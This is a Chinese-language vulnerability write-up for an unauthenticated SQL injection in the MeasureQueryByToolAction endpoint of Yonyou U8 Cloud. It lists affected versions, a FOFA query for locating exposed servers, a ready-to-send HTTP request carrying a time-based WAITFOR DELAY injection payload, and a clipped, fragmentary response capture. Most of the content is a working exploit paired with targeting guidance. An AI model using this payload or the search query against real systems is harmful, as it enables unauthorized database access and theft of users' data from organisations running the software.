

Y3-31用友-U8-Cloud-SQL

漏洞描述:

用友U8 Cloud MeasureQueryByToolAction接口处存在SQL注入漏洞，未授权的攻击者可通过此漏洞获取数据库权限，从而盗取用户数据，造成用户信息泄露。

影响版本:

version=1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp

网站图片:

 | [下载页面](#)

请下载新版UClient
开启U8 cloud云端之旅

立即下载 ↓



网络测绘:

fofa语法:

FOFA: app="用友-U8-Cloud"

漏洞复现:

payload:

```
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
```

效果图:

延时5秒

Request

```
1 GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+
2 HTTP/1.1
3 Host: [REDACTED]
4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 Content-Type: application/json
6 Accept-Encoding: gzip
7 Connection: close
```

< > 数据包扫描 美化 热加载 构造请求

Responses 6

```
1 HTTP/
2 Serve
3 Set-C
4 Conte
5 Date:
6 Conne
7 Conte
8
9 <html
10 <che
11 <
12 <
13 <
14 错误提
15 <
16 <
17 <
18 <
19 <
20 <
21 <
22 <
23 <
24 <
25 <
26 <
27 <
28 <
29 <
30 <
31 <
32 </h
33 <bo
34 <
35 <
36 <
37 <
38 <
39 <
40 <
41 <
42 <
43 <
44 <
45 <
46 <
47 <
48 <
49 <br>
50 <br>
51 <tabl
52 <ctr
53 <
```